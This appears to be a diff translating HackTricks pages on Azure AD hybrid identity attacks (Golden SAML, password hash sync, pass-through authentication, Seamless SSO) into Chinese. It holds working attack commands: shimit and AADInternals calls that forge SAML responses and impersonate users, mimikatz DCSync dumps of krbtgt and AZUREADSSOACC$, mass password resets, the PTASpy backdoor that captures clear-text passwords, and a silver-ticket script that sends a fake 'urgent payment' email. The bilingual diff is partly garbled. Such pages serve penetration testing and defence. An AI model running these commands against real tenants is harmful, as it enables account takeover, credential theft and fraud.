- 在ADFS中,SAML响应由令牌签名证书签名。
|
||||
- 如果证书被泄露,则可以作为任何同步到Azure AD的用户进行身份验证!
|
||||
- 就像我们的PTA滥用一样,用户的密码更改或MFA不会产生任何影响,因为我们伪造了身份验证响应。
|
||||
- 可以从AD FS服务器提取证书,具有DA权限,然后可以从任何连接到互联网的机器上使用。
|
||||
- 更多信息请参见 [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
### Golden SAML
|
||||
### 黄金SAML
|
||||
|
||||
The process where an **Identity Provider (IdP)** produces a **SAMLResponse** to authorize user sign-in is paramount. Depending on the IdP's specific implementation, the **response** might be **signed** or **encrypted** using the **IdP's private key**. This procedure enables the **Service Provider (SP)** to confirm the authenticity of the SAMLResponse, ensuring it was indeed issued by a trusted IdP.
|
||||
**身份提供者 (IdP)** 生成 **SAMLResponse** 以授权用户登录的过程至关重要。根据IdP的具体实现,**响应**可能会使用**IdP的私钥**进行**签名**或**加密**。此过程使**服务提供者 (SP)** 能够确认SAMLResponse的真实性,确保它确实是由受信任的IdP发出的。
|
||||
|
||||
A parallel can be drawn with the [golden ticket attack](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), where the key authenticating the user’s identity and permissions (KRBTGT for golden tickets, token-signing private key for golden SAML) can be manipulated to **forge an authentication object** (TGT or SAMLResponse). This allows impersonation of any user, granting unauthorized access to the SP.
|
||||
可以与[黄金票证攻击](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket)进行类比,其中用于验证用户身份和权限的密钥(KRBTGT用于黄金票证,令牌签名私钥用于黄金SAML)可以被操纵以**伪造身份验证对象**(TGT或SAMLResponse)。这允许冒充任何用户,授予对SP的未授权访问。
|
||||
|
||||
Golden SAMLs offer certain advantages:
|
||||
黄金SAML提供某些优势:
|
||||
|
||||
- They can be **created remotely**, without the need to be part of the domain or federation in question.
|
||||
- They remain effective even with **Two-Factor Authentication (2FA)** enabled.
|
||||
- The token-signing **private key does not automatically renew**.
|
||||
- **Changing a user’s password does not invalidate** an already generated SAML.
|
||||
- 它们可以**远程创建**,无需成为相关域或联邦的一部分。
|
||||
- 即使启用**双因素身份验证 (2FA)**,它们仍然有效。
|
||||
- 令牌签名**私钥不会自动续订**。
|
||||
- **更改用户的密码不会使**已生成的SAML失效。
|
||||
|
||||
#### AWS + AD FS + Golden SAML
|
||||
#### AWS + AD FS + 黄金SAML
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) is a Microsoft service that facilitates the **secure exchange of identity information** between trusted business partners (federation). It essentially allows a domain service to share user identities with other service providers within a federation.
|
||||
[活动目录联邦服务 (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) 是一个Microsoft服务,促进受信任的商业伙伴之间**身份信息的安全交换**(联邦)。它基本上允许域服务与联邦内的其他服务提供者共享用户身份。
|
||||
|
||||
With AWS trusting the compromised domain (in a federation), this vulnerability can be exploited to potentially **acquire any permissions in the AWS environment**. The attack necessitates the **private key used to sign the SAML objects**, akin to needing the KRBTGT in a golden ticket attack. Access to the AD FS user account is sufficient to obtain this private key.
|
||||
由于AWS信任被攻陷的域(在联邦中),可以利用此漏洞潜在地**获取AWS环境中的任何权限**。该攻击需要**用于签署SAML对象的私钥**,类似于在黄金票证攻击中需要KRBTGT。访问AD FS用户帐户足以获取此私钥。
|
||||
|
||||
The requirements for executing a golden SAML attack include:
|
||||
执行黄金SAML攻击的要求包括:
|
||||
|
||||
- **Token-signing private key**
|
||||
- **IdP public certificate**
|
||||
- **IdP name**
|
||||
- **Role name (role to assume)**
|
||||
- Domain\username
|
||||
- Role session name in AWS
|
||||
- Amazon account ID
|
||||
- **令牌签名私钥**
|
||||
- **IdP公钥证书**
|
||||
- **IdP名称**
|
||||
- **角色名称(要假设的角色)**
|
||||
- 域\用户名
|
||||
- AWS中的角色会话名称
|
||||
- 亚马逊账户ID
|
||||
|
||||
_Only the items in bold are mandatory. The others can be filled in as desired._
|
||||
|
||||
To acquire the **private key**, access to the **AD FS user account** is necessary. From there, the private key can be **exported from the personal store** using tools like [mimikatz](https://github.com/gentilkiwi/mimikatz). To gather the other required information, you can utilize the Microsoft.Adfs.Powershell snapin as follows, ensuring you're logged in as the ADFS user:
|
||||
_只有加粗的项目是强制性的。其他项目可以根据需要填写。_
|
||||
|
||||
要获取**私钥**,需要访问**AD FS用户帐户**。从那里,可以使用[mimikatz](https://github.com/gentilkiwi/mimikatz)等工具从个人存储中**导出私钥**。要收集其他所需信息,可以使用Microsoft.Adfs.Powershell snapin,如下所示,确保您以ADFS用户身份登录:
|
||||
```powershell
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
@@ -98,9 +97,7 @@ To acquire the **private key**, access to the **AD FS user account** is necessar
|
||||
# Role Name
|
||||
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
|
||||
```
|
||||
|
||||
With all the information, it's possible to forget a valid SAMLResponse as the user you want to impersonate using [**shimit**](https://github.com/cyberark/shimit)**:**
|
||||
|
||||
通过所有信息,可以使用 [**shimit**](https://github.com/cyberark/shimit)**:** 伪装成您想要冒充的用户,忘记一个有效的 SAMLResponse。
|
||||
```bash
|
||||
# Apply session for AWS cli
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
|
||||
@@ -115,11 +112,9 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
|
||||
# Save SAMLResponse to file
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
|
||||
```
|
||||
|
||||
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### On-prem -> cloud
|
||||
|
||||
### 本地 -> 云
|
||||
```powershell
|
||||
# With a domain user you can get the ImmutableID of the target user
|
||||
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
|
||||
@@ -138,9 +133,7 @@ Export-AADIntADFSSigningCertificate
|
||||
# Impersonate a user to to access cloud apps
|
||||
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
|
||||
It's also possible to create ImmutableID of cloud only users and impersonate them
|
||||
|
||||
也可以为仅云用户创建 ImmutableID 并冒充他们。
|
||||
```powershell
|
||||
# Create a realistic ImmutableID and set it for a cloud only user
|
||||
[System.Convert]::ToBase64String((New-Guid).tobytearray())
|
||||
@@ -152,14 +145,9 @@ Export-AADIntADFSSigningCertificate
|
||||
# Impersonate the user
|
||||
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+30
-42
@@ -1,46 +1,45 @@
|
||||
# Az - PHS - Password Hash Sync
|
||||
# Az - PHS - 密码哈希同步
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** is one of the sign-in methods used to accomplish hybrid identity. **Azure AD Connect** synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance.
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **密码哈希同步** 是实现混合身份的一种登录方法。**Azure AD Connect** 将用户密码的哈希值的哈希值从本地 Active Directory 实例同步到基于云的 Azure AD 实例。
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's the **most common method** used by companies to synchronize an on-prem AD with Azure AD.
|
||||
这是公司用来将本地 AD 与 Azure AD 同步的 **最常见方法**。
|
||||
|
||||
All **users** and a **hash of the password hashes** are synchronized from the on-prem to Azure AD. However, **clear-text passwords** or the **original** **hashes** aren't sent to Azure AD.\
|
||||
Moreover, **Built-in** security groups (like domain admins...) are **not synced** to Azure AD.
|
||||
所有 **用户** 和 **密码哈希的哈希值** 都从本地同步到 Azure AD。然而,**明文密码** 或 **原始** **哈希** 不会发送到 Azure AD。\
|
||||
此外,**内置** 安全组(如域管理员等)不会 **同步** 到 Azure AD。
|
||||
|
||||
The **hashes syncronization** occurs every **2 minutes**. However, by default, **password expiry** and **account** **expiry** are **not sync** in Azure AD. So, a user whose **on-prem password is expired** (not changed) can continue to **access Azure resources** using the old password.
|
||||
**哈希同步** 每 **2分钟** 发生一次。然而,默认情况下,**密码过期** 和 **账户** **过期** 在 Azure AD 中 **不同步**。因此,**本地密码过期**(未更改)的用户可以继续使用旧密码 **访问 Azure 资源**。
|
||||
|
||||
When an on-prem user wants to access an Azure resource, the **authentication takes place on Azure AD**.
|
||||
当本地用户想要访问 Azure 资源时,**身份验证在 Azure AD 上进行**。
|
||||
|
||||
**PHS** is required for features like **Identity Protection** and AAD Domain Services.
|
||||
**PHS** 是 **身份保护** 和 AAD 域服务等功能所必需的。
|
||||
|
||||
## Pivoting
|
||||
## 侧向移动
|
||||
|
||||
When PHS is configured some **privileged accounts** are automatically **created**:
|
||||
当配置 PHS 时,一些 **特权账户** 会自动 **创建**:
|
||||
|
||||
- The account **`MSOL_<installationID>`** is automatically created in on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**.
|
||||
- An account **`Sync_<name of on-prem ADConnect Server>_installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD.
|
||||
- 账户 **`MSOL_<installationID>`** 会在本地 AD 中自动创建。该账户被赋予 **目录同步账户** 角色(见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)),这意味着它在本地 AD 中具有 **复制(DCSync)权限**。
|
||||
- 账户 **`Sync_<name of on-prem ADConnect Server>_installationID`** 会在 Azure AD 中创建。该账户可以 **重置 Azure AD 中任何用户**(同步或仅云)的密码。
|
||||
|
||||
Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\
|
||||
The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
这两个特权账户的密码 **存储在 SQL 服务器** 上,该服务器上 **安装了 Azure AD Connect**。管理员可以提取这些特权用户的明文密码。\
|
||||
数据库位于 `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`。
|
||||
|
||||
It's possible to extract the configuration from one of the tables, being one encrypted:
|
||||
可以从其中一个表中提取配置,其中一个是加密的:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
The **encrypted configuration** is encrypted with **DPAPI** and it contains the **passwords of the `MSOL_*`** user in on-prem AD and the password of **Sync\_\*** in AzureAD. Therefore, compromising these it's possible to privesc to the AD and to AzureAD.
|
||||
**加密配置** 使用 **DPAPI** 加密,包含本地 AD 中 `MSOL_*` 用户的 **密码** 和 AzureAD 中 **Sync\_\*** 的密码。因此,妥协这些密码可以提升到 AD 和 AzureAD 的权限。
|
||||
|
||||
You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
您可以在此演讲中找到 [关于这些凭据如何存储和解密的完整概述](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
|
||||
|
||||
### Finding the **Azure AD connect server**
|
||||
|
||||
If the **server where Azure AD connect is installed** is domain joined (recommended in the docs), it's possible to find it with:
|
||||
### 查找 **Azure AD 连接服务器**
|
||||
|
||||
如果 **安装 Azure AD 连接的服务器** 加入了域(文档中推荐),可以通过以下方式找到它:
|
||||
```powershell
|
||||
# ActiveDirectory module
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
||||
@@ -48,9 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
|
||||
#Azure AD module
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
|
||||
### Abusing MSOL\_\*
|
||||
|
||||
### 滥用 MSOL\_*
|
||||
```powershell
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Get-AADIntSyncCredentials
|
||||
@@ -59,14 +56,12 @@ Get-AADIntSyncCredentials
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials.
|
||||
> 您还可以使用 [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) 来获取这些凭据。
|
||||
|
||||
### Abusing Sync\_\*
|
||||
|
||||
Compromising the **`Sync_*`** account it's possible to **reset the password** of any user (including Global Administrators)
|
||||
### 滥用 Sync\_\*
|
||||
|
||||
妥协 **`Sync_*`** 账户可以 **重置任何用户的密码**(包括全局管理员)。
|
||||
```powershell
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
@@ -87,9 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
|
||||
It's also possible to **modify the passwords of only cloud** users (even if that's unexpected)
|
||||
|
||||
也可以**仅修改云**用户的密码(即使这出乎意料)
|
||||
```powershell
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
@@ -98,21 +91,20 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
|
||||
It's also possible to dump the password of this user.
|
||||
可以转储该用户的密码。
|
||||
|
||||
> [!CAUTION]
|
||||
> Another option would be to **assign privileged permissions to a service principal**, which the **Sync** user has **permissions** to do, and then **access that service principal** as a way of privesc.
|
||||
> 另一个选项是**为服务主体分配特权权限**,而**Sync**用户有**权限**这样做,然后**访问该服务主体**作为特权提升的方法。
|
||||
|
||||
### Seamless SSO
|
||||
### 无缝单点登录
|
||||
|
||||
It's possible to use Seamless SSO with PHS, which is vulnerable to other abuses. Check it in:
|
||||
可以使用PHS进行无缝单点登录,这对其他滥用是脆弱的。请查看:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
@@ -120,7 +112,3 @@ seamless-sso.md
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+25
-33
@@ -2,73 +2,65 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication allows your users to **sign in to both on-premises and cloud-based applications using the same passwords**. This feature provides your users a better experience - one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Azure AD, this feature **validates users' passwords directly against your on-premises Active Directory**.
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) 通过身份验证允许您的用户使用相同的密码**登录本地和基于云的应用程序**。此功能为您的用户提供了更好的体验——记住一个密码更少,并且减少了IT帮助台的成本,因为您的用户不太可能忘记如何登录。当用户使用Azure AD登录时,此功能**直接验证用户的密码与您的本地Active Directory**。
|
||||
|
||||
In PTA **identities** are **synchronized** but **passwords** **aren't** like in PHS.
|
||||
在PTA中,**身份**是**同步**的,但**密码****不是**,就像在PHS中一样。
|
||||
|
||||
The authentication is validated in the on-prem AD and the communication with cloud is done by an **authentication agent** running in an **on-prem server** (it does't need to be on the on-prem DC).
|
||||
身份验证在本地AD中进行验证,与云的通信由在**本地服务器**上运行的**身份验证代理**完成(它不需要在本地DC上)。
|
||||
|
||||
### Authentication flow
|
||||
### 身份验证流程
|
||||
|
||||
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. To **login** the user is redirected to **Azure AD**, where he sends the **username** and **password**
|
||||
2. The **credentials** are **encrypted** and set in a **queue** in Azure AD
|
||||
3. The **on-prem authentication agent** gathers the **credentials** from the queue and **decrypts** them. This agent is called **"Pass-through authentication agent"** or **PTA agent.**
|
||||
4. The **agent** **validates** the creds against the **on-prem AD** and sends the **response** **back** to Azure AD which, if the response is positive, **completes the login** of the user.
|
||||
1. 为了**登录**,用户被重定向到**Azure AD**,在这里他发送**用户名**和**密码**
|
||||
2. **凭据**被**加密**并放入Azure AD中的**队列**
|
||||
3. **本地身份验证代理**从队列中收集**凭据**并**解密**它们。这个代理被称为**“通过身份验证代理”**或**PTA代理**。
|
||||
4. **代理**将凭据与**本地AD**进行**验证**,并将**响应****返回**给Azure AD,如果响应是积极的,**完成用户的登录**。
|
||||
|
||||
> [!WARNING]
|
||||
> If an attacker **compromises** the **PTA** he can **see** the all **credentials** from the queue (in **clear-text**).\
|
||||
> He can also **validate any credentials** to the AzureAD (similar attack to Skeleton key).
|
||||
> 如果攻击者**破坏**了**PTA**,他可以**查看**队列中的所有**凭据**(以**明文**形式)。\
|
||||
> 他还可以**验证任何凭据**到AzureAD(类似于Skeleton key的攻击)。
|
||||
|
||||
### On-Prem -> cloud
|
||||
|
||||
If you have **admin** access to the **Azure AD Connect server** with the **PTA** **agent** running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication):
|
||||
### 本地 -> 云
|
||||
|
||||
如果您对运行**PTA** **代理**的**Azure AD Connect服务器**具有**管理员**访问权限,您可以使用**AADInternals**模块**插入后门**,这将**验证所有输入的密码**(因此所有密码都将有效进行身份验证):
|
||||
```powershell
|
||||
Install-AADIntPTASpy
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> If the **installation fails**, this is probably due to missing [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
It's also possible to **see the clear-text passwords sent to PTA agent** using the following cmdlet on the machine where the previous backdoor was installed:
|
||||
> 如果**安装失败**,这可能是由于缺少 [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)。
|
||||
|
||||
还可以使用以下 cmdlet 在安装了之前后门的机器上**查看发送到 PTA 代理的明文密码**:
|
||||
```powershell
|
||||
Get-AADIntPTASpyLog -DecodePasswords
|
||||
```
|
||||
这个后门将会:
|
||||
|
||||
This backdoor will:
|
||||
|
||||
- Create a hidden folder `C:\PTASpy`
|
||||
- Copy a `PTASpy.dll` to `C:\PTASpy`
|
||||
- Injects `PTASpy.dll` to `AzureADConnectAuthenticationAgentService` process
|
||||
- 创建一个隐藏文件夹 `C:\PTASpy`
|
||||
- 复制一个 `PTASpy.dll` 到 `C:\PTASpy`
|
||||
- 将 `PTASpy.dll` 注入到 `AzureADConnectAuthenticationAgentService` 进程中
|
||||
|
||||
> [!NOTE]
|
||||
> When the AzureADConnectAuthenticationAgent service is restarted, PTASpy is “unloaded” and must be re-installed.
|
||||
> 当 AzureADConnectAuthenticationAgent 服务重启时,PTASpy 会被“卸载”,必须重新安装。
|
||||
|
||||
### Cloud -> On-Prem
|
||||
### 云 -> 本地
|
||||
|
||||
> [!CAUTION]
|
||||
> After getting **GA privileges** on the cloud, it's possible to **register a new PTA agent** by setting it on an **attacker controlled machine**. Once the agent is **setup**, we can **repeat** the **previous** steps to **authenticate using any password** and also, **get the passwords in clear-text.**
|
||||
> 在云上获得 **GA 权限** 后,可以通过在 **攻击者控制的机器** 上设置 **注册一个新的 PTA 代理**。一旦代理 **设置完成**,我们可以 **重复** **之前** 的步骤来 **使用任何密码进行身份验证**,并且 **获取明文密码**。
|
||||
|
||||
### Seamless SSO
|
||||
### 无缝 SSO
|
||||
|
||||
It's possible to use Seamless SSO with PTA, which is vulnerable to other abuses. Check it in:
|
||||
可以使用无缝 SSO 与 PTA,这对其他滥用是脆弱的。请查看:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+40
-52
@@ -2,30 +2,29 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatically **signs users in when they are on their corporate devices** connected to your corporate network. When enabled, **users don't need to type in their passwords to sign in to Azure AD**, and usually, even type in their usernames. This feature provides your users easy access to your cloud-based applications without needing any additional on-premises components.
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On(Azure AD Seamless SSO)会在用户使用连接到公司网络的公司设备时**自动登录用户**。启用后,**用户无需输入密码即可登录Azure AD**,通常甚至不需要输入用户名。此功能为用户提供了轻松访问基于云的应用程序的方式,而无需任何额外的本地组件。
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
Basically Azure AD Seamless SSO **signs users** in when they are **on a on-prem domain joined PC**.
|
||||
基本上,Azure AD Seamless SSO **在用户** **使用加入本地域的PC时** **自动登录**。
|
||||
|
||||
It's supported by both [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) and [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
|
||||
它支持[**PHS(密码哈希同步)**](phs-password-hash-sync.md)和[**PTA(透传身份验证)**](pta-pass-through-authentication.md)。
|
||||
|
||||
Desktop SSO is using **Kerberos** for authentication. When configured, Azure AD Connect creates a **computer account called AZUREADSSOACC`$`** in on-prem AD. The password of the `AZUREADSSOACC$` account is **sent as plain-text to Azure AD** during the configuration.
|
||||
桌面SSO使用**Kerberos**进行身份验证。当配置时,Azure AD Connect会在本地AD中创建一个名为**AZUREADSSOACC`$`**的**计算机帐户**。`AZUREADSSOACC$`帐户的密码在配置期间**以明文形式发送到Azure AD**。
|
||||
|
||||
The **Kerberos tickets** are **encrypted** using the **NTHash (MD4)** of the password and Azure AD is using the sent password to decrypt the tickets.
|
||||
**Kerberos票证**使用密码的**NTHash(MD4)**进行**加密**,Azure AD使用发送的密码解密票证。
|
||||
|
||||
**Azure AD** exposes an **endpoint** (https://autologon.microsoftazuread-sso.com) that accepts Kerberos **tickets**. Domain-joined machine's browser forwards the tickets to this endpoint for SSO.
|
||||
**Azure AD**公开了一个**端点**(https://autologon.microsoftazuread-sso.com),接受Kerberos **票证**。加入域的机器的浏览器将票证转发到此端点以实现SSO。
|
||||
|
||||
### On-prem -> cloud
|
||||
|
||||
The **password** of the user **`AZUREADSSOACC$` never changes**. Therefore, a domain admin could compromise the **hash of this account**, and then use it to **create silver tickets** to connect to Azure with **any on-prem user synced**:
|
||||
### 本地 -> 云
|
||||
|
||||
用户的**`AZUREADSSOACC$`**的**密码**从不更改。因此,域管理员可以破解该**帐户的哈希**,然后使用它**创建银票**以连接到Azure,使用**任何已同步的本地用户**:
|
||||
```powershell
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||
|
||||
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
|
||||
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
|
||||
@@ -39,9 +38,7 @@ Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
|
||||
With the hash you can now **generate silver tickets**:
|
||||
|
||||
使用该哈希值,您现在可以**生成银票**:
|
||||
```powershell
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
@@ -56,66 +53,57 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
要利用银票,应执行以下步骤:
|
||||
|
||||
To utilize the silver ticket, the following steps should be executed:
|
||||
|
||||
1. **Initiate the Browser:** Mozilla Firefox should be launched.
|
||||
2. **Configure the Browser:**
|
||||
- Navigate to **`about:config`**.
|
||||
- Set the preference for [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) to the specified [values](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
3. **Access the Web Application:**
|
||||
- Visit a web application that is integrated with the organization's AAD domain. A common example is [Office 365](https://portal.office.com/).
|
||||
4. **Authentication Process:**
|
||||
- At the logon screen, the username should be entered, leaving the password field blank.
|
||||
- To proceed, press either TAB or ENTER.
|
||||
1. **启动浏览器:** 应启动Mozilla Firefox。
|
||||
2. **配置浏览器:**
|
||||
- 导航到 **`about:config`**。
|
||||
- 将 [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) 的首选项设置为指定的 [值](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
3. **访问Web应用程序:**
|
||||
- 访问与组织的AAD域集成的Web应用程序。一个常见的例子是 [Office 365](https://portal.office.com/)。
|
||||
4. **身份验证过程:**
|
||||
- 在登录屏幕上,应输入用户名,密码字段留空。
|
||||
- 要继续,请按TAB或ENTER。
|
||||
|
||||
> [!TIP]
|
||||
> This doesn't bypass MFA if enabled
|
||||
> 如果启用了MFA,这不会绕过MFA
|
||||
|
||||
#### Option 2 without dcsync - SeamlessPass
|
||||
#### 选项2,无需dcsync - SeamlessPass
